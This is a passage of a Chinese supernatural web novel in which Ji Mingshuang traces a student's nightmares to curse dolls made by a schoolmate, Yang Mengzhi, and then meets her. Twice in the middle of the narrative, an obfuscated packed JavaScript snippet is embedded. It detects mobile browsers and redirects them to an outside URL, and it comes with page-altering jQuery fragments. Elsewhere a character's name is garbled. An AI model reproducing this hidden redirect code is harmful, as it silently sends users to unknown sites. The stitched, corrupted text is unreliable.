但纪明霜没想到的是，她刚刚离开马复康的家，就接到了他的电话，“纪、纪学姐？” 纪明霜：“讲。” “那个，我的意思是，我是说……” 纪明霜：“嗯？” “杨梦知好像没跟我说过喜欢我的事，是不是我的自我感觉太良好了……” 纪明霜：“还有吗？” “其实我觉得她对我也是有感觉的，因为我讲笑话的时候她会比较注意形象，不太好意思笑的样子，就表情比较冷淡吧……” 纪明霜：“也许是因为你的笑话不好笑？” “怎么可能，周围的人都是在笑的。” 纪明霜：“只有杨梦知不笑吗？” 马复康仔细回忆着当时的场景，“嗯……好像是的。” 纪明霜说，“嗯……有一点我想确认一下，杨梦知应该不是被笑话的那个吧。” “啊……你怎么会这么问，只是一个玩笑而已，她不会连个玩笑也开不起吧？” “但她并不觉得好笑？” 马复康那边沉默了一会儿，“纪学姐，你是帮我解决问题的，而且事成之后我会付你钱，你怎么这个态度啊？” 纪明霜说，“是的，我是来帮你解决问题的，不是来满足你的情感需求的，你高不高兴，心情好不好，不关我的事。而且，我不明白，为什么一次就能说清楚的事，你让高大师他们来了好几次，等了那么久，态度那么差，还有，我知道你希望你的噩梦是有规律可循的，这样会让你更有安全感，但我认为，你的噩梦跟回忆过去没有关联，你的噩梦是人为的。” “什、什么？” “还有，关于酬金的事，你的委托信里已经事先约定了明确的数目，不是吗，如果这份委托顺利完成，那这就是我应得的，如果你认为我不是纪大师，就不值得这份酬金，你可以直接告诉我，我也会重新考虑这件事。” “考虑什么？” “考虑我们的合作是否到此为止，我认识的道长告诉过我，如果帮助了坏人，或者帮忙做坏事，反而会给我带来不好的影响。” 马复□□气了，“纪明霜，你说的是什么话，我是完完全全的受害者，我是完全无辜的！如果你因为我没有办法说出那些阿谀奉承的话就这样恶意揣测我，那么我也会结束和你的合作，这笔钱我就算是扔水里，也不会给你！” 纪明霜：“请便。” 而后，她就挂断了电话，并打通了另一个电话，电话那头的人是方婆婆，她倒是蛮开心的，“哟，小纪，怎么突然给我打电话啊，是不是想问问你家小黑猫现在怎么样呢，哈哈，它现在好得很，正躺在我的腿上睡觉呢……二筒。” 纪明霜问道，“小陈哥呢，他在你那里吗？” 方婆婆的笑声有点假，“怎么可能呢，我不是跟你说过吗，我不想搭理他，平时都是装作看不到他的。” 纪明霜：“是吗，但是小鬼的牌品不好，它们不喜欢跟小鬼一起玩，这样的话，它们就三缺一了，而你恰好能看到鬼，并且经常玩网上麻将。” “嗯……这个嘛……” 纪明霜都能想象到电话那头的一人三鬼面面相觑的模样了，她继续说道，“我不是不让你们玩……” “唉呀，你早说嘛，幺鸡！” “我是想提醒你们，最近有一个女生搬到灰灰公寓了，那个女生的身上有一团奇怪的黑雾，我初步推断是汇集了大量怨气的怨魂，如果普通的鬼魂接触了她，就会被剥夺独立意志，成为怨魂的一部分，所以，方婆婆，你记得让小陈哥他们离那个女生远点。” “如果这样的话，岂不是不能打牌了……四筒，唉。” “这是重点吗……” “总之，我明白了，谢谢小纪。”方婆婆说，“唉呀，气死我了，怎么又来一个三筒啊！” 对面传来了嘻嘻哈哈的笑声，纪明霜挂断了电话，她这边刚刚挂断，马复康的电话就打了进来，“纪、纪学姐，你刚刚在跟谁打电话？” 纪明霜说，“一点私事，怎么，有事？” “那个，很抱歉跟你说了这样的话，这是因为我被那些噩梦折磨得精神紧张，所以我的语气有些冲了，非常抱歉……” 纪明霜：“好了，我明白了，总之，如果有进展的话，我会联系你的。” 马复康：“好的。” 纪明霜回到了酒店，她现在很累，很想睡觉，但睡不着，她把那张黄纸放在枕头下面，坐在床上，抱着公主洋娃娃，看着遥远的江景。 江面的底色是温柔的深青色，缓缓荡开的水波在阳光下闪闪发光，她在群里说了今天的事，还配上了图片，阿依第一个回复了她。 晚安（阿依）：他这次还蛮配合的嘛。 晚安（阿依）：不愧是纪姐。 晚安（阿依）：纪姐，你接下来准备怎么做啊？ 霜（纪明霜）：先睡一觉再说。 晚安（阿依）：哦哦！ 早安（徐阳）：纪姐，这个朱砂是从哪里买的啊？ 霜（纪明霜）：一瓶是我爸买来朱砂原矿自己磨的色粉，另一瓶是网购。 早安（徐阳）：有链接吗？ 霜（纪明霜）：稍等，我问一下。 人生如茶（高大师）：饮茶.jpg 过了一会儿，纪明霜把链接发在了群里，而后，她放下手机，准备睡觉。 但她还是睡不着，“也不知道这个办法会不会有用……” 林然坐在她的身边，“无论是否有用，你也应该休息了，好好睡吧。” 纪明霜：“……嗯。” 他的声音里似乎有一种温柔的力量，当他在她的身边，她就会觉得心安，她迷迷糊糊地沉入了梦乡，当她醒来的时候，天色已经暗下来了，她掀开被子爬起来，“我睡了很久吗？” 林然：“实际上，你才刚刚睡着。” 纪明霜：“怎么可能，天都快黑透了。” 林然：“你再仔细看看呢？” “看什么，看你吗？” 纪明霜凑了过去，碰了一下他的脸，嗯，能碰到，果然是梦啊。 林然的耳尖有点红，“行了，我们出发吧。” 纪明霜站了起来，“好，那我们要怎么过去呢，不会要走过去吧。” 林然：“这里是你的梦，梦是很神奇的。” “是吗……”纪明霜看着从她枕头下面延伸而出的一条细细的红线，这条红线直通门外，她推开酒店的房门，就到了马复康的家。 此时，马复康正躺在卧室的床上，枕着双手，睁着双眼，呆呆地看着天花板，这个房间的遮光帘和窗帘都拉着，整个房间里都很暗，只有他床头柜上的台灯发出昏黄的光，马复康的手机被他放在一边，上面是正在直播的游戏视频，主播刚刚完成了一个很秀的操作，此时的弹幕正在飞快地滚动，直播间礼物的烟花特效也一朵接着一朵地绽开，马复康却没心情看直播，他叹了一口气，又说了句脏话。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15581232|168984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>令纪明霜在意的是，马复康身上的一束红线。 除了连接着她枕下黄纸的一根孤零零的红线以外，还有一束红线，在他看不见的地方，缠着他的手脚，束缚着他的行动，看着至少有十来根的样子，纪明霜沿着红线的方向，穿过了墙壁，来到了另一个房间里。 这是一个女生的房间，整体的色调是粉色，很清新，很干净。房间里有电脑桌、人体工学椅、床、懒人沙发和小矮桌，天花板上的吊灯是花朵的形状，白色的电脑桌上放着两台显示器和粉色的人体工学键盘和鼠标，可旋转的人体工学椅上躺着粉色猪猪抱枕，粉色格子的被子和枕头之间还睡着一只系着粉色蝴蝶结的小熊玩偶，小矮桌上摆着一个粉色方格的杯垫、一盒马铃薯脆片，还有一本书。 纪明霜走过去翻了翻，书名是《树莓民俗研究之丧仪篇》。 纪明霜说，“这可不像是一般的小姑娘喜欢读的书啊……林然，你去哪了？” 林然：“我在外面等你，如果有事就叫我。” 纪明霜：“哦……” 虽然房间的主人并不在房间里，但纪明霜对她的第一印象就是一个可爱的小姑娘，因为这个房间又干净又整齐，除了一串紫色的风铃之外，这个房间是浅粉色的色调，非常温馨。 在房间的书架上，放着十来个扎着针的小玩偶，每个玩偶上都系着红绳，纪明霜走了过去，仔细地端详着，这些都是手工缝制的布艺娃娃，针角不算整齐，也不算细密，但缝得很结实，这些娃娃身上的针，有的扎进双眼，有的扎进四肢，有的直插脑门，有的直插心脏，这些末端带着彩色珠珠装饰的大头针还挺粗的，标志着房间主人对马复康的强烈负面感情。 就在这时，房间的门被打开了，在那一瞬间，纪明霜猛然惊醒，她满头大汗地坐了起来，看到林然正站在她的床前，关切地看着她，“纪明霜，你没事吗？” 纪明霜摇了摇头，“我偷偷进了人家的房间，那个女生突然回来，我吓了一跳，然后就醒了。” “她看见你了吗？”林然问道。 纪明霜摇摇头，“我、我也不知道，但她开门的时候，手里拿着的奶茶也掉到了地上，林然，你过来。” 林然走到她的身边，她尝试着碰了碰林然，碰不到，纪明霜说，“看来我这次是真的醒了……” “还有什么别的收获吗？” 纪明霜说，“我觉得那个女生就是杨梦知，但是我没有她的联系方式，我之前不是打电话问了杨梦知的朋友吗，但她也没有杨梦知的联系方式……” “连她都没有杨梦知的联系方式，那马复康就更没辙了。我想，杨梦知应该不想让马复康得到她的联系方式，也不想跟马复康联系，所以这部分工作还得由你来做。” 纪明霜点点头，“是啊，接下来就看她愿不愿意跟我沟通了。” 林然看了看墙面上挂着的钟表，“你中午都没吃东西，现在先去吃饭吧。” 纪明霜点点头，“嗯。” 现在已经是下午了，酒店的自助餐时间也结束了，纪明霜在酒店楼下的餐馆吃了迟到的午饭：锅贴和牛肉汤。 锅贴的外皮酥脆，馅料很足，又香又多汁，牛肉汤色泽清亮，鲜美可口，午饭刚刚端上来，纪明霜还没开吃，就接到了一通电话。 电话一接通，纪明霜就听到电话那头传来的无比痛苦的一连串嘶吼尖叫，“纪学姐，纪大师，救我，救救我，求求你，救救我，我又做噩梦了……啊，呜呜呜呜……” 83. 第83章 答案 “好的，我现在就过去。” 纪明霜以最快的速度回到酒店，收拾好东西就下了楼，而后，她打车去了马复康所在的小区。 在小区门口下车之后，她又看到了那个坐着轮椅的女生，那个女生又被卡在了同一个地方，纪明霜走过去，帮她把轮椅推了过去，纪明霜说，“那个，你要买什么东西，就自己去买吧，不好意思，我现在有急事要做。” 那个女生突然拉住了纪明霜的袖子，“等一下——” 纪明霜：“啊……好吧，你还是要买矿泉水吗？” 那个女生点了点头，纪明霜从便利店里买了一瓶矿泉水，拿给了那个女生，“给，下次再给钱吧，我现在要走了。” 那个女生没有接过矿泉水，而是拉住了纪明霜的袖子，“纪学姐，他的事不值得你这样着急。” 纪明霜愣了一下，“你认识我？” 那个女生从包包里抽出一张纸巾，交到了纪明霜的手上，“学姐，你脸上都出汗了，来，擦一下吧。” 纪明霜接过纸巾，这张纸巾香香的，上面还有粉花和绿叶的图案，看上去非常精致，“谢、谢谢？” 那个女生笑眯眯地说，“不用客气哦，学姐，我正在等你呢。” “等我？” “已经不止一次了呢。”那个女生操作着轮椅，调整着方向，她转了半圈，背对着石阶，加大功率，就这样顺利地越过了那段石阶，到了便利店的门口，“嗯……其实我平时会这样做。” “啊，你为什么在这里等我呢？” 那个女生有点不好意思地笑了笑，“因为我觉得你应该在找我，对了，我还没有自我介绍吧，我叫杨梦知，我也是树莓中学的学生，但比学姐小一届。” “你就是杨梦知？”纪明霜有些难以置信，而且，她的目光下移，“那你的腿？” 杨梦知正准备开口，纪明霜连忙说，“抱歉，抱歉，我不应该提这个的……” “没关系的哦。”杨梦知从包包里拿出一个扎着大头针的小娃娃，“纪学姐是为了这件事而来的吧，嗯……我们找个地方谈谈吧。” 纪明霜并不熟悉这里，也不知道附近有什么适合谈话的地方，杨梦知向她推荐了一家不错的咖啡店，嗯，这家确实很不错，阿依已经带她来品尝过这家店的阿芙佳朵了。 杨梦知看着咖啡店的饮品和甜品单，“纪学姐，你能喝凉的吗？” 纪明霜点点头，“可以的。” “那就尝尝这家店的招牌饮品吧，好像游客会更喜欢阿芙佳朵，但是我觉得他们家的咖啡原液太浓了，味道也差强人意吧……”说着，杨梦知点了两杯冰拿铁，还有一份美式生巧布朗尼、一份焦糖布丁，一份提拉米苏，这才看向了纪明霜，“纪学姐，这些够吗？” 纪明霜：“大概够了吧……” 杨梦知笑了笑，“那就好。” 就在这时，马复康又打来了电话，他的声音虚弱而无力，“纪、纪学姐，你在吗，你怎么还没过来，我……我现在好难受。” 杨梦知冷哼了一声，拿过纪明霜的手机，说，“马复康，闭嘴，以后你不许叫她学姐。” 马复康显然没反应过来，“你谁啊？” “你觉得呢？” 马复康这才反应过来，“啊……是、是你？！” 杨梦知说，“记住我说的话。” 而后，她挂断了电话，把手机还给纪明霜，“学姐，别光看着了，你尝尝看嘛，我们边吃边聊。” 纪明霜：“好的。” 杨梦知喝了一口冰拿铁，“怎么样，味道很不错吧！” 纪明霜也喝了一口，“确实不错……” “那当然了，这家是我经常光顾的店。”杨梦知说，“不仅是饮品，这些甜品也是很经典的。” “嗯……”纪明霜说，“学妹，我想知道，你为什么要做这些娃娃呢？” 杨梦知说，“学姐，你叫我梦知就可以了，或者叫我知知也可以。” “嗯，好的，梦知。” 杨梦知笑了笑，“只是一个简单的复仇故事而已，我想，马复康已经给你讲过他的故事吧，在他的故事里，我是个什么样的人呢？” “嗯，他说你是和他情投意合的同班同学。” 杨梦知把包包里的娃娃拿出来，拔出大头针，再次用力插进去，“这个混蛋……就他？我哪有这么没品。” 纪明霜看着她娴熟的动作，心里一惊，看杨梦知对马复康的态度，这个委托应该很难完成了吧。 毕竟，虽然两人都心知肚明，这件事的实际性质是‘诅咒’，但从表面上看，也只是一个女生做了十来个小娃娃，然后用小娃娃当大头针的针插，仅此而已。 而且，她的手记里有相关的记载，制作诅咒娃娃的步骤并不简单，制作工艺也非常讲究，还需要很多特定的信息和物品，其中，姓名、生辰八字和被诅咒者的血是必要的，因此，这种娃娃的造价非常昂贵。 一般人拿到一个诅咒娃娃都很困难，没想到杨梦知居然有这么多诅咒娃娃，而且诅咒对象全都是同一个人——马复康。 怪不得马复康的情况如此极端，原来是这么多娃娃的诅咒效力叠加而形成的。毕竟普通的诅咒娃娃也只会让他有点倒霉或者做个噩梦而已。 这么多造价昂贵的诅咒娃娃，这可不是什么普通恩怨，都得是旧仇宿怨了。 虽然杨梦知对她的态度比较友善，但她并不认为杨梦知能看在她的面子上放过马复康，这也太自我感觉良好了，那么这件事的解决办法就是——做替身娃娃。 杨梦知用诅咒娃娃给他下了咒，如果她不愿意停止诅咒的话，马复康就要用替身娃娃来替他受过，但纪明霜也不认识会做这种娃娃的人啊，要不给老爸打个电话问一下? “那个，梦知，你和马复康有什么仇吗？” 杨梦知说，“有啊，你看我的腿，就是因为他。” 纪明霜感觉她嘴里的话更说不出口了。 杨梦知说，“纪学姐，如果你想让我停止对他的诅咒，嗯……也不是不可以，折磨了他这么久，我也有些无聊了。” 纪明霜有些难以置信，事情居然会这么顺利，“真的吗？” “当然了，但是我也是有条件的。” “什么条件？” 无论是钱还是什么别的，把条件告诉马复康，让他来谈赔偿的事，这个委托就能顺利解决了。 真是意外的顺利呢…… 才怪。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15581233|168984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 杨梦知喝了一口冰拿铁，“我的条件呢，就是让学姐带我去坐摩天轮，怎么样，应该没问题吧？” 真是出人意料的要求呢。 纪明霜拿起手机，“没问题，你想什么时候去坐呢？” “现在呢，现在可以吗？” 纪明霜开始翻看阿依的空间动态，她之前和徐阳一起去坐了摩天轮，还整理了一份游玩攻略，她写得很详细，纪明霜看得很认真，“嗯……现在好像不太行，江对面的摩天轮是需要提前买票的，我们现在买票的话，得周一才能去坐摩天轮。” 杨梦知说，“没关系的，我已经提前买好票了，那我们现在过去吧？” 纪明霜放下手机，“你已经买好票了？” 杨梦知点了点头，“还有船票哦，我也买好了，因为跨江大桥离摩天轮有点远，还是坐船更方便，我们吃完之后就过去吧。” 纪明霜吃了一口甜品，真的很好吃，但她一抬头，就看到杨梦知正在盯着她看，她正准备说话，杨梦知就递给她一张漂亮的香香纸巾，“学姐，擦擦脸吧，都吃到脸上了。” 纪明霜接过纸巾，擦了擦脸，林然说，“右边。” 纪明霜连忙擦了擦右脸，抬头就看到杨梦知在笑。 杨梦知长得很漂亮，纪明霜在现实中见过最漂亮的人，嗯，不对，是鬼，总之，最漂亮的是周可音，她精致的脸蛋和优雅的着装让人印象深刻，但杨梦知的长相和周可音不分上下。 她的漂亮是自然纯真又清丽明媚的，看上去就像是单纯无害的邻家妹妹，说话做事温柔贴心又细致，是很讨人喜欢的性格，嗯……但她的房间里放着一堆诅咒娃娃，把马复康搞得非常痛苦又崩溃也是真的。 虽然知道她的所作所为，但纪明霜确实没办法讨厌她，因为她下午吃的饮品和甜品是杨梦知买的，去渡口的专车是杨梦知打的，船票和摩天轮的票也是杨梦知订的，检票的时候，她还给纪明霜买了一个蓝色的纪念品——毛绒玩具小海豚，纪明霜哭笑不得，“谢谢？” “不用客气。”杨梦知说，“毕竟学姐好久没回来了嘛，啊……已经六年了啊。” 纪明霜说拿着可爱的玩具小海豚，“你认识我？” 杨梦知说，“当然了，我是你的学妹，在学校的时候就认识你了，但你好像不认识我……是啊，毕竟不是同班同学，甚至不是同级同学，平时也说不上话，你上下学总是和林然一起走，我好不容易找到你的联系方式，但我无论如何都答不出你的验证问题……” 纪明霜：“我的验证问题啊……我好像已经忘记了。” 杨梦知的表情有些幽怨，“但我还记得，你的验证问题是：谁是我最好的朋友？” 纪明霜：“你是怎么回答的？” 杨梦知：“我的答案是林然，因为你和他的关系明显不一般。” 纪明霜：“有吗？” “我相信我的感觉，还有就是，答案到底是谁，真的不是林然吗？” 纪明霜摇了摇头，“我怎么可能会填他嘛，要是让别人知道，肯定又要八卦了。” “所以呢，答案是谁？” 纪明霜：“学习。” 杨梦知：“……” 林然：“……”